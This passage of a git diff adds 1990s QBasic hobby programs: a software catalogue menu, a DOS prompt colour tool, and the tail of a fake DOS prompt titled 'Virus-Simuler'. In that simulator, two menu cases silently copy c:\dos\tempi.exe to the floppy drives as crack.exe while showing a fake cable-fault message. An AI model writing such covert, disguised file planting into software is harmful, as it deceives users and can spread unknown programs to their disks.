requerida" + GOTO Simulador + CASE 3 + CLS + row% = 2 + PRINT + GOTO Simulador + + CASE 4 + PRINT : PRINT "Fichero no encontrado" + GOTO Simulador + + CASE 5 + COLOR 6 + PRINT : PRINT "Virus-Simuler por JD" + COLOR 7 + GOTO Simulador + + CASE 6 + PRINT : PRINT TIME$: GOTO Simulador + + CASE 7 + PRINT : PRINT DATE$: GOTO Simulador + CASE 8 + IF veza = 0 THEN SHELL "copy c:\dos\tempi.exe a:crack.exe >nul": SHELL "copy c:\dos\tempi.bin a:crack.dat >nul" + PRINT + PRINT "Cable de enlace con la unidad A, suelto" + veza = 1 + + GOTO Simulador + CASE 9 + IF vezb = 0 THEN SHELL "copy c:\dos\tempi.exe b:crack.exe >nul": SHELL "copy c:\dos\tempi.bin b:crack.dat >nul" + PRINT + PRINT "Cable de enlace con la unidad B, suelto" + vezb = 1 + GOTO Simulador +END SELECT +PRINT wqw$ +GOTO Simulador + +END SUB + diff --git a/BAS/PRECATA2.BAS b/BAS/PRECATA2.BAS new file mode 100644 index 0000000..8c48050 --- /dev/null +++ b/BAS/PRECATA2.BAS @@ -0,0 +1,545 @@ +principiodelprincipio: +REM Versi¢n 3.0 en Qbasic de Catalogo (c) +KEY OFF +pp: +CLEAR +ON ERROR GOTO corrector +DIM lec$(12), lot$(12), T$(50), fet$(50), A$(50), tele$(50) +KEY(1) ON +KEY(2) ON +ON KEY(1) GOSUB help +ON KEY(2) GOSUB finp +CLS +GOSUB menu1 +GOSUB cargachar +COLOR 1, 7 +l = 1 +GOSUB secuencia + +espera: +KEY(11) ON +KEY(14) ON +ON KEY(11) GOSUB sube +ON KEY(14) GOSUB baja +espera3: +I$ = INKEY$ +IF I$ = "" THEN GOTO espera3 +IF I$ = CHR$(13) THEN GOTO ejecuta +IF I$ = CHR$(27) THEN GOSUB help +GOTO espera3 + +sube: +ant = l +IF l = 1 THEN l = 11 ELSE l = l - 1 +GOSUB secuencia +RETURN + +baja: +ant = l +IF l = 12 THEN l = 1 ELSE l = l + 1 +GOSUB secuencia +RETURN + +secuencia: +IF l = -1 THEN l = 11 +IF l = 12 THEN l = 1 +IF ant = 0 THEN ant = 1 +COLOR 7, 1, 1 +LOCATE 2 * ant, 2: PRINT lot$(ant) +COLOR 1, 7 +LOCATE 2 * l, 2: PRINT lec$(l): RETURN +END + +ejecuta: +KEY(11) OFF +KEY(14) OFF +COLOR 7, 1, 1 +IF l < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat" +IF l = 1 THEN arc$ = "copy-3.dat" +ON l GOTO lp, lp, lp, lp, lp, lp, lp, lp, lp, lp, mm +END + +lp: +f = l +IF f = 10 THEN f = 0 +GOSUB tipodeficha +REM LISTA DE PROGRAMAS +IF Tf$ = "0" THEN arc$ = "copy-1.dat" +OPEN "R", #1, arc$, 14 +contador = 13: COLUMNA = 34 +FOR A = 1 TO LOF(1) / 14 + 1 +FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$ +GET #1, A +IF fichero$ = Tf$ THEN GOTO imprime ELSE GOTO continua +imprime: +COLOR 12, 1, 1 +LOCATE contador, COLUMNA: IF T$ = " " THEN GOTO continua ELSE PRINT T$ +contador = contador + 1 +IF COLUMNA = 60 AND contador = 22 THEN GOSUB contimpre +IF contador = 22 THEN contador = 13: COLUMNA = COLUMNA + 13 +continua: +NEXT A +CLOSE #1 +COLOR 14, 1, 1 +LOCATE 4, 60: PRINT "PULSE UNA TECLA" +COLOR 15, 1, 1 +LOCATE 5, 60: PRINT "Para ir al MENé " +p: +IF INKEY$ = "" THEN GOTO p +COLOR 7, 1, 1 +FOR brr = 13 TO 22: LOCATE brr, 34: PRINT STRING$(37, " "): NEXT brr +LOCATE 4, 60: PRINT " F1 HELP " +LOCATE 5, 60: PRINT " F2 Exit to DOS" +GOTO espera + +contimpre: +COLOR 14, 1, 1 +LOCATE 4, 60: PRINT "Pulse una tecla" +LOCATE 5, 60: PRINT "para continuar." +COLOR 7, 1, 1 +p2: +IF INKEY$ = "" THEN GOTO p2 +LOCATE 4, 60: PRINT " " +LOCATE 5, 60: PRINT " " +contador = 13: COLUMNA = 34 +FOR ba = 13 TO 22: LOCATE ba, 34: PRINT STRING$(37, " "): NEXT ba +RETURN + +END + +mm: + +GOSUB menu2 +l2 = 1 +GOSUB secuencia2 +espera2: +KEY(11) ON +KEY(14) ON +ON KEY(11) GOSUB sube2 +ON KEY(14) GOSUB baja2 +espera4: +I$ = INKEY$ +IF I$ = "" THEN GOTO espera4 +IF I$ = CHR$(13) THEN GOTO ejecuta2 +IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB menu1: GOSUB secuencia: COLOR 1, 7: GOTO espera +GOTO espera4 + +sube2: +ant2 = l2 +IF l2 = 1 THEN l2 = 3 ELSE l2 = l2 - 1 +IF ant2 = 0 THEN ant2 = 1 +GOSUB secuencia2 +RETURN + +baja2: +ant2 = l2 +IF l2 = 3 THEN l2 = 1 ELSE l2 = l2 + 1 +GOSUB secuencia2 +RETURN + +secuencia2: +IF l2 = -1 THEN l2 = 3 +IF l2 = 4 THEN l2 = 1 +COLOR 7, 1, 1 +IF ant2 = 1 THEN LOCATE 5, 39: PRINT lot2$(ant2) +IF ant2 = 2 THEN LOCATE 6, 39: PRINT lot2$(ant2) +IF ant2 = 3 THEN LOCATE 8, 39: PRINT lot2$(ant2) +COLOR 1, 7 +IF l2 = 1 THEN LOCATE 5, 39: PRINT lec2$(l2): RETURN +IF l2 = 2 THEN LOCATE 6, 39: PRINT lec2$(l2): RETURN +IF l2 = 3 THEN LOCATE 8, 39: PRINT lec2$(l2): RETURN +END + +ejecuta2: +KEY(11) OFF +KEY(14) OFF +ON l2 GOTO il, gp, C +GOTO espera2 +END + +il: +ON ERROR GOTO corrector +REM FICHERO PARA IMPRIMIR +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "Esta usd. en la secci¢n de impresion." +LOCATE 15, 34: PRINT "Cerciorese de que la impresora este" +LOCATE 16, 34: PRINT "encendida y de que tenga papel." +LOCATE 18, 34: PRINT " Pulse una tecla..." +N: +Q$ = INKEY$: IF Q$ = "" THEN GOTO N +IF Q$ = CHR$(27) THEN FOR A = 14 TO 18: LOCATE A, 34: PRINT STRING$(38, " "): NEXT: GOTO subbrutinas +FOR A = 14 TO 18: LOCATE A, 34: PRINT STRING$(38, " "): NEXT +pagina = 1 +CLOSE #3: OPEN "lpt1:" FOR OUTPUT AS #3: PRINT #3, CHR$(27); "!"; CHR$(20) +LPRINT "ßßÛÛÛÛÛÛßßßßßÛÛÛßßßßß" +LPRINT "ßß Ü ßßßßÜ Ûßßß" +LPRINT "ßßßßßßßÜ ßßßßÜ ßß Üßß" +LPRINT "ßßÛßßßßÜ ßßßßÜ ßßÛ ß" +LPRINT "ßßÜÜÛÛÛÜ ßßßßÜÜÛß ßß" +LPRINT "ßß ßßßß ßßßß" +LPRINT "ÛßßßßßßßßßßßßßßßßßßßÛ" +LPRINT "ÛJ.D Guill‚n s.u '92Û" +LPRINT "ßßßßßßßßßßßßßßßßßßßßß" +LPRINT "El n£mero que sigue al nombre del programa, indica" +LPRINT "la cantidad de diskettes que est‚ ocupa. Diskett de 3 «" +LPRINT "Disponible el 75% de los programas en diskettes de 5 ¬" +contador = 12 +sleep=15 +f = 1 + +nf: +' EMPIEZA LA ETAPA f=A +IF contador > 50 THEN GOSUB finlista +CLOSE #1: OPEN "LPT1:" FOR OUTPUT AS #1: PRINT #1, CHR$(27); "!"; CHR$(97) +IF f = 1 THEN LPRINT "JUEGOS" +IF f = 2 THEN LPRINT "MUSICA" +IF f = 3 THEN LPRINT "PROCESADORES DE TEXTO" +IF f = 4 THEN LPRINT "PROGRAMAS DE CONTABILIDAD" +IF f = 5 THEN LPRINT "PROGRAMAS DE ELECTRONICA" +IF f = 6 THEN LPRINT "GRAFICOS" +IF f = 7 THEN LPRINT "UTILIDADES" +IF f = 8 THEN LPRINT "COPIONES" +IF f = 9 THEN LPRINT "LENGUAJES" +IF f = 10 THEN f = 0: LPRINT "ANTIVIRUS" +contador = contador + 2 +CLOSE #1: CLOSE #2: OPEN "LPT1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(1) +IF f < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat" +IF l = 1 THEN arc$ = "copy-3.dat" +IF f = 0 THEN arc$ = "copy-1.dat" +OPEN "R", #1, arc$, 14 +GOSUB tipodeficha +FOR A = 1 TO LOF(1) / 14 +FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$ +GET #1 +IF fichero$ <> Tf$ THEN GOTO sinsuerte +IF T$ <> " " THEN GOSUB guarda +IF G = 0 THEN PRINT #2, CHR$(27): contador = contador + 1 +IF contador > 55 THEN GOSUB finlista +sinsuerte: +NEXT A +CLOSE #1 +IF EF$ <> "" THEN LPRINT EF$; TAB(13); EFD$; TAB(20); EL$; TAB(33); ELD$; TAB(40); EO$; TAB(53); EOD$; TAB(60); EO4$; TAB(73); EOD4$ +EF$ = "": EL$ = "": EO$ = "": EO4$ = "" +EFD$ = "": ELD$ = "": EOD$ = "": EOD4$ = "": G = 0 +IF contador > 50 THEN GOSUB finlista +IF f <> 0 THEN f = f + 1: GOTO nf +CLOSE #2: OPEN "lpt1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(33) +OPEN "r", #1, "MENSAJES", 30 +FOR A = 1 TO 5 +FIELD #1, 30 AS MENSAJE$ +GET #1 +LPRINT TAB(5); MENSAJE$ +NEXT A +CLOSE #1 +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "Lista terminada..." +LOCATE 15, 34: PRINT "PULSE UNA TECLA PARA VOLVER AL MENU" +d: +IF INKEY$ = "" THEN GOTO d +COLOR 7, 1, 1 +LOCATE 14, 34: PRINT " " +LOCATE 15, 34: PRINT " " +GOTO subbrutinas + +finlista: +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "Cuando deje de imprimir ponga papel" +LOCATE 15, 34: PRINT " Pulse entonces una tecla para " +LOCATE 16, 34: PRINT " continuar listando." +COLOR 7, 1, 1 +m: +IF INKEY$ = "" THEN GOTO m +LOCATE 14, 34: PRINT " " +LOCATE 15, 34: PRINT " " +LOCATE 16, 34: PRINT " " +CLOSE #2: OPEN "LPT1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(1) +contador = 0: RETURN + +guarda: +G = G + 1 +IF G = 1 THEN EF$ = T$: EFD$ = DISK$ +IF G = 2 THEN EL$ = T$: ELD$ = DISK$ +IF G = 3 THEN EO$ = T$: EOD$ = DISK$ +IF G = 4 THEN EO4$ = T$: EOD4$ = DISK$: GOTO imprimelinea +RETURN +END + +imprimelinea: +LPRINT EF$; TAB(13); EFD$; TAB(20); EL$; TAB(33); ELD$; TAB(40); EO$; TAB(53); EOD$; TAB(60); EO4$; TAB(73); EOD4$; +EF$ = "": EL$ = "": EO$ = "": EO4$ = "" +EFD$ = "": ELD$ = "": EOD$ = "": EOD4$ = "": G = 0 +RETURN + +gp: +' GRABAR DATOS DE PEDIDOS +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "SIGUA LAS INDICACIONES PERTINENTES" +p4: +I$ = INKEY$ +IF I$ = "" THEN GOTO p4 +IF I$ = CHR$(27) THEN LOCATE 14, 34: PRINT STRING$(37, " "): GOTO subbrutinas +LOCATE 14, 34: PRINT "Nombre del programa/s... " +COLOR 12, 1, 1 +PL = 15: TCOL = 34 +FOR zA = 1 TO 21 +PL = PL + 1 +COLOR 12, 1, 1 +lin = PL: col = TCOL: lon = 10: tipo$ = " ..z": GOSUB limlin: A$(zA) = texto$ +IF PL = 22 THEN PL = 15: TCOL = TCOL + 13 +CREO = CREO + 1: IF A$(zA) = " " THEN GOTO cont +NEXT zA +cont: +COLOR 14, 1, 1 +LOCATE 13, 34: PRINT "INTRODUCE TU NOMBRE: " +LOCATE 14, 34: PRINT " " +COLOR 15, 1, 1 +lin = 15: col = 34: lon = 8: tipo$ = "0..Z": GOSUB limlin: nombre$ = texto$ +fil$ = nombre$ + ".JD" + +OPEN "R", #2, "commun_d.jd", 8 +FIELD #2, 8 AS nom$ +LSET nom$ = nombre$ +PUT #2, LOF(2) / 8 + 1 +CLOSE #2 + +OPEN "R", #1, fil$, 10 +FOR b = 1 TO CREO + 1 +FIELD #1, 10 AS tele$ +LSET tele$ = A$(b) +PUT #1, LOF(1) / 10 + 1 +NEXT b +CLOSE #1 +FOR e = 13 TO 22: LOCATE e, 33: PRINT STRING$(38, " "): NEXT +GOTO subbrutinas +END + +C: +COLOR 7, 1, 1 +LOCATE 3, 49: PRINT "Creditos " +LOCATE 14, 33: PRINT " (c) C A T A L O G O v3.0 " +LOCATE 16, 33: PRINT " Pantallas y programa ... " +COLOR 12 +LOCATE 18, 33: PRINT " Jos‚ David Guill‚n " +LOCATE 19, 33: PRINT " Tlf. 561-XX-XX " +COLOR 7, 1, 1 +LOCATE 21, 33: PRINT " 1993, 1§BTI " +pause: +IF INKEY$ = "" THEN GOTO pause +FOR Q = 14 TO 22: LOCATE Q, 33: PRINT SPC(37); : NEXT Q +GOTO subbrutinas + +subbrutinas: +GOSUB secuencia +GOSUB menu2 +GOSUB secuencia2 +GOTO espera2 +END + + + + +menu1: +COLOR 7, 1, 1 +CLS +PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ßßßßßßßÛ ÛßßÜ ³ø ø³ "; +PRINT "³ Juegos ³± Û Û ßÜ ³ø Catalogo v3.0 ø³ "; +PRINT "³ ³± Û Û ßÜ ³ø ø³ "; +PRINT "³ Musica ³± Û Û Û ³ø F1 Help ø³ "; +PRINT "³ ³± Û Û Û Üß ³ø F2 Exit to DOS ø³ "; +PRINT "³ Procesadores de textos ³± Û Û Û Üß Ü³ø ø³Ü "; +PRINT "³ ³± ßÜÜÜÜß ÛÜÜß ÛÛ ÜÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÜ"; +PRINT "³ Pgr. Contabilidad ³± ÛÛÛÛonÛlineÛ°ÛlfÛ°ÛÛÛÛÛÛ"; +PRINT "³ ³± Jos‚ David Guill‚n '93 ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ"; +PRINT "³ Pgr. Electronica ³± " +PRINT "³ ³±" +PRINT "³ Graficos ³± ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"; +PRINT "³ ³± ³ ³±"; +PRINT "³ Utilidades ³± ³ ³±"; +PRINT "³ ³± ³ ³±"; +PRINT "³ Copiones ³± ³ ³±"; +PRINT "³ ³± ³ ³±"; +PRINT "³ Lenguajes ³± ³ ³±"; +PRINT "³ ³± ³ ³±"; +PRINT "³ Anti_virus ³± ³ ³±"; +PRINT "³ ³± ³ ³±"; +PRINT "³ - MENé PRINCIPAL - ³± ³ ³±"; +PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ± ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±"; +PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +RETURN + +menu2: +COLOR 7, 1, 1 +LOCATE 2, 32: PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿±"; +LOCATE 3, 32: PRINT "³ Men£ actual: MENé PRINCIPAL ³±"; +LOCATE 4, 32: PRINT "³ ³±"; +LOCATE 5, 32: PRINT "³ Imprimir Lista ³±"; +LOCATE 6, 32: PRINT "³ Grabar programas elegidos ³±"; +LOCATE 7, 32: PRINT "³ ³±"; +LOCATE 8, 32: PRINT "³ Creditos ³±"; +LOCATE 9, 32: PRINT "³ ³±"; +LOCATE 10, 32: PRINT "³ Men£ de Datos ( JD ) ³±"; +LOCATE 11, 32: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ "; +LOCATE 1, 32: PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +COLOR 9, 1, 1 +LOCATE 10, 39: PRINT "Men£ de Datos ( JD )" +COLOR 7, 1, 1 +RETURN + +menu3: +COLOR 7, 1, 1 +LOCATE 2, 32: PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿±"; +LOCATE 3, 32: PRINT "³ Men£ actual: Men£ de Datos ( JD ) ³±"; +LOCATE 4, 32: PRINT "³ ³±"; +LOCATE 5, 32: PRINT "³ Introducir nuevos programas ³±"; +LOCATE 6, 32: PRINT "³ Borrar programas ³±"; +LOCATE 7, 32: PRINT "³ ³±"; +LOCATE 8, 32: PRINT "³ Introducir mensaje ³±"; +LOCATE 9, 32: PRINT "³ ³±"; +LOCATE 10, 32: PRINT "³ Visionar / Borrar pedidos ³±"; +LOCATE 11, 32: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ "; +LOCATE 1, 32: PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +COLOR 7, 1, 1 +RETURN + + + + +cargachar: +lec$(1) = "þ JUEGOS " +lec$(2) = "þ MUSICA " +lec$(3) = "þ PROCESADORES DE TEXTOS" +lec$(4) = "þ PGRS. CONTABILIDAD " +lec$(5) = "þ PGRS. ELECTRONICA " +lec$(6) = "þ GRAFICOS " +lec$(7) = "þ UTILIDADES " +lec$(8) = "þ COPIONES " +lec$(9) = "þ LENGUAJES " +lec$(10) = "þ ANTI_VIRUS " +lec$(11) = " - Men£ Principal - " +lot$(1) = " Juegos " +lot$(2) = " Musica " +lot$(3) = " Procesadores de textos " +lot$(4) = " Pgr. Contabilidad " +lot$(5) = " Pgr. Electronica " +lot$(6) = " Graficos " +lot$(7) = " Utilidades " +lot$(8) = " Copiones " +lot$(9) = " Lenguajes " +lot$(10) = " Anti_virus " +lot$(11) = " - MENé PRINCIPAL - " + +lec2$(1) = "þ IMPRIMIR LISTA " +lec2$(2) = "þ GRABAR PROGRAMAS ELEGIDOS " +lec2$(3) = "þ CREDITOS " +lec2$(4) = "þ MENé DE DATOS ( JD ) " +lot2$(1) = "Imprimir Lista " +lot2$(2) = "Grabar programas elegidos " +lot2$(3) = "Creditos " +lot2$(4) = "Men£ de Datos ( JD ) " + +lec3$(1) = "þ INTRODUCIR NUEVOS PROGRAMAS" +lec3$(2) = "þ BORRAR PROGRAMAS " +lec3$(3) = "þ INTRODUCIR MENSAJE " +lec3$(4) = "þ VISIONAR / BORRAR PEDIDOS " +lot3$(1) = "Introducir nuevos programas " +lot3$(2) = "Borrar programas " +lot3$(3) = "Introducir mensaje " +lot3$(4) = "Visionar / Borrar pedidos " +RETURN +END + + + +limlin: +'(LIM)ite -de- (LIN)ea +'Lon=longitud lin=linea col=columna tipo$=" ..z" +LOCATE lin, col: PRINT "þ" +FOR A = 1 TO lon +X: +A$ = INKEY$: IF A$ = "" THEN GOTO X +IF A$ = CHR$(13) THEN GOTO finsec +IF A$ = CHR$(27) THEN GOTO limlin +IF A$ = CHR$(8) THEN GOTO borra ELSE GOTO ponchar + +borra: +A = A - 1: IF A < 1 THEN A = 1 +LOCATE lin, col + A - 1: PRINT " ": LOCATE lin, col + A - 1: PRINT "þ ": GOTO X + +ponchar: +IF A$ < LEFT$(tipo$, 1) OR A$ > RIGHT$(tipo$, 1) THEN GOTO X +IF A = 1 THEN origen$ = STRING$(lon, " "): LOCATE lin, col: PRINT origen$ +LOCATE lin, col + A - 1: PRINT A$; : IF A <> lon THEN PRINT "þ" ELSE GOTO X +NEXT A + +finsec: +texto$ = "": FOR I = 1 TO lon +IF CHR$(SCREEN(lin, col + I - 1)) = "þ" THEN texto$ = texto$ + " " ELSE texto$ = texto$ + CHR$(SCREEN(lin, col + I - 1)) +NEXT +LOCATE lin, col: COLOR 1, 7: PRINT texto$: COLOR 7, 1, 1 +PLAY "b64": RETURN + +corrector: +IF ERR = 52 OR ERR = 53 THEN fallo = 1: GOTO contrif +IF ERR = 27 THEN GOTO nohaypapel +GOTO fallonoloc +contrif: +RESUME NEXT +END + +nohaypapel: +COLOR 14, 1, 1 +BEEP +LOCATE 13, 34: PRINT "No hay papel." +sleep=20 +LOCATE 13, 34: PRINT " " +GOTO il + +fallonoloc: +COLOR 15, 1, 1 +LOCATE 13, 33: PRINT "Fallo:", ERR; "RESET PROGRAM" +LOCATE 14, 33: PRINT "PULSE UNA TECLA: ..(JD).." +rti: +IF INKEY$ = "" THEN GOTO rti +GOTO principiodelprincipio +tipodeficha: +IF f = 1 THEN Tf$ = "1" +IF f = 2 THEN Tf$ = "2" +IF f = 3 THEN Tf$ = "3" +IF f = 4 THEN Tf$ = "4" +IF f = 5 THEN Tf$ = "5" +IF f = 6 THEN Tf$ = "6" +IF f = 7 THEN Tf$ = "7" +IF f = 8 THEN Tf$ = "8" +IF f = 9 THEN Tf$ = "9" +IF f = 0 THEN Tf$ = "0" +IF f = 10 THEN Tf$ = "0" +RETURN + + + + +help: +COLOR 7, 1, 1 +LOCATE 14, 34: PRINT "Ayuda basica, JD." +LOCATE 16, 34: PRINT "Use los cursores, para acceder a" +LOCATE 17, 34: PRINT "los men£s." +LOCATE 18, 34: PRINT "Presione intro para 'entrar'." +LOCATE 19, 34: PRINT "Pulse ESC para retroceder en un Menu." +LOCATE 21, 34: PRINT " Pulse una tecla" +retorico: +IF INKEY$ = "" THEN GOTO retorico +COLOR 7, 1, 1: FOR wq = 13 TO 21: LOCATE wq, 34: PRINT STRING$(37, " "): NEXT +RETURN +END + +finp: +COLOR 7, 1, 1 +CLS +PRINT " JD, Catalogo vú3.1 " +PRINT : PRINT "Gracias por utilizar este sofware." +PRINT : PRINT "Devuelveme este disco cuando acabes." +PRINT " Gracias..." + +END + + diff --git a/BAS/PROMPT.BAS b/BAS/PROMPT.BAS new file mode 100644 index 0000000..3787a24 --- /dev/null +++ b/BAS/PROMPT.BAS @@ -0,0 +1,271 @@ +'*************************************************************************** +'* Cambiador de color del Prompt del Dos, en Qbasic por Jos‚ David Guill‚n * +'*************************************************************************** +CLS +LOCATE 1, 1 +PRINT +PRINT : PRINT : PRINT +PRINT " ÚÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄ¿" +PRINT " ³ Tipo ³ 1§ Plano ³ 2§ Plano ³ ³ Texto 1§ ³ Fondo 2§ ³ Tipo 2§ ³" +PRINT " ÃÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´" +PRINT " ³ ³ ³ ³ ³ ³ ³ ³" +PRINT " ³ ³ ³ ³ ³ ³ ³ ³" +PRINT " ÀÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÙ" +PRINT " ³ ³ ³ ³ ³ ³" +PRINT " ³ ³ ³ ³ ³ ³" +PRINT " ³ ³ ³ ³ ³ ³" +PRINT " ³ ³ ³ ³ ³ ³" +PRINT " ³ ³ ³ ³ ³ ³" +PRINT " ÀÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÙ" +PRINT : PRINT : PRINT : PRINT +COLOR 15, 0 +PRINT "Texto de prueba:" +PRINT +LOCATE 25, 1: PRINT " Use los CURSORES para desplazarse y F2 para terminar"; + + +CONST TRUE = -1 +CONST false = NOT TRUE +CurrRow(1) = 2: Col(1) = 5 +CurrRow(2) = 8: Col(2) = 16 +CurrRow(3) = 8: Col(3) = 27 +CurrRow(4) = 8: Col(4) = 41 +CurrRow(5) = 8: Col(5) = 52 +CurrRow(6) = 2: Col(6) = 63 +CurrRowOld(1) = 1 +CurrRowOld(2) = 8 +CurrRowOld(3) = 1 +CurrRowOld(4) = 8 +CurrRowOld(5) = 1 +CurrRowOld(6) = 1 +CurrColO = 1 +CurrRow = 1: CurrCol = 1 +CurrRowOld = 1 + +mo$(1) = " Tipo " +mo$(2) = " 1§ Plano " +mo$(3) = " 2§ Plano " +mo$(4) = " Texto 1§ " +mo$(5) = " Fondo 2§ " +mo$(6) = " Tipo 2§ " + +men$(1) = "Habilitado" +men$(2) = " Inabil. " +men$(3) = "Habilitado" +men$(4) = " Inabil. " + +man$(1) = " Negro " +man$(2) = " Rojo " +man$(3) = " Verde " +man$(4) = " Amarillo " +man$(5) = " Azul " +man$(6) = " Magneta " +man$(7) = " Cian " +man$(8) = " Blanco " + FOR C = 1 TO 8 + LOCATE C + 7, Col(2): COLOR 14, 0 + PRINT man$(C) + LOCATE C + 7, Col(3): COLOR 14, 0 + PRINT man$(C) + LOCATE C + 7, Col(4): COLOR 14, 0 + PRINT man$(C) + LOCATE C + 7, Col(5): COLOR 14, 0 + PRINT man$(C) + NEXT +CurrRowt(1) = 1 +CurrRowt(2) = 1 +CurrRowt(3) = 1 +CurrRowt(4) = 1 +CurrRowt(5) = 1 +CurrRowt(6) = 1 + +GOSUB MoveLin + +finished = false + +DO + + DO + kdb$ = INKEY$ + LOOP WHILE kdb$ = "" + + SELECT CASE kdb$ + CASE CHR$(0) + "H" 'Up Arrow + CurrRowOld = CurrRow + CurrRow = CurrRow - 1 + IF CurrRow < 1 THEN CurrRow = CurrRow(CurrCol) + CurrRowt(CurrCol) = CurrRow + GOSUB MoveLin + CASE CHR$(0) + "P" 'Down Arrow + CurrRowOld = CurrRow + CurrRow = CurrRow + 1 + IF CurrRow > CurrRow(CurrCol) THEN CurrRow = 1 + CurrRowt(CurrCol) = CurrRow + GOSUB MoveLin + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left or Shift+Tab + CurrRowOld(CurrCol) = CurrRow + CurrColO = CurrCol + CurrCol = CurrCol - 1 + IF CurrCol = 0 THEN CurrCol = 6 + IF CurrCol = 1 AND CurrRow > 2 THEN CurrRow = 2 + CurrRow = CurrRowOld(CurrCol) + IF CurrCol = 6 OR CurrCol = 1 THEN CurrRowOld = CurrRow + GOSUB MoveLin + CASE CHR$(0) + "M", CHR$(9) 'Right or Tab + CurrRowOld(CurrCol) = CurrRow + CurrColO = CurrCol + CurrCol = CurrCol + 1 + IF CurrCol = 7 THEN CurrCol = 1 + IF CurrCol = 1 AND CurrRow > 2 THEN CurrRow = 2 + CurrRow = CurrRowOld(CurrCol) + IF CurrCol = 6 OR CurrCol = 1 THEN CurrRowOld = CurrRow + GOSUB MoveLin + + CASE CHR$(0) + "<" 'F2 + finished = TRUE + CASE ELSE + BEEP + END SELECT + +LOOP WHILE finished = false + LOCATE 23, 1: PRINT "¨Desea sumar el Prompt a la cola del Autoexec.bat (S/N)? " + + DO: kdb$ = INKEY$: LOOP WHILE kdb$ = "" + + OPEN "prom.bat" FOR OUTPUT AS #1 + PRINT #1, "Echo off" + PRINT #1, "CLS" + portero$ = RTRIM$(LTRIM$(STR$(CurrRowt(1) - 1))) + ";3" + RTRIM$(LTRIM$(STR$(CurrRowt(2) - 1))) + ";4" + RTRIM$(LTRIM$(STR$(CurrRowt(3) - 1))) + wer$ = "Prompt $e[" + portero$ + "m$p$g$e[" + RTRIM$(LTRIM$(STR$(CurrRowt(6) - 1))) + ";3" + RTRIM$(LTRIM$(STR$(CurrRowt(4) - 1))) + ";4" + RTRIM$(LTRIM$(STR$(CurrRowt(5) - 1))) + "m" + PRINT #1, wer$ + PRINT #1, "echo Prompt por Jos‚ David Guill‚n 1994 (c)" + CLOSE + + IF UCASE$(kdb$) = "S" THEN + SHELL "copy c:\autoexec.bat+c:prom.bat" + ELSE + LOCATE 22, 1: PRINT SPACE$(80); + LOCATE 23, 1: PRINT "Se creo un archivo de nombre PROM.BAT con el Prompt " + LOCATE 24, 1: PRINT SPACE$(80); + LOCATE 25, 1: PRINT SPACE$(80); + LOCATE 25, 1 + END IF +SYSTEM +END + +MoveLin: + COLOR 7, 0 + LOCATE 6, Col(CurrColO) + PRINT mo$(CurrColO) + COLOR 3, 0 + LOCATE 6, Col(CurrCol) + PRINT mo$(CurrCol) + + LOCATE CurrRowOld + 7, Col(CurrCol): COLOR 14, 0 + + IF CurrRowOld(1) = 1 THEN h = 1 ELSE h = 0 + IF CurrRowOld(6) = 1 THEN hdos = 1 ELSE hdos = 0 + IF CurrCol = 1 OR CurrCol = 6 THEN PRINT men$(CurrRowOld) ELSE PRINT man$(CurrRowOld) + + LOCATE CurrRow + 7, Col(CurrCol): COLOR 14, 15 + + IF CurrCol = 1 OR CurrCol = 6 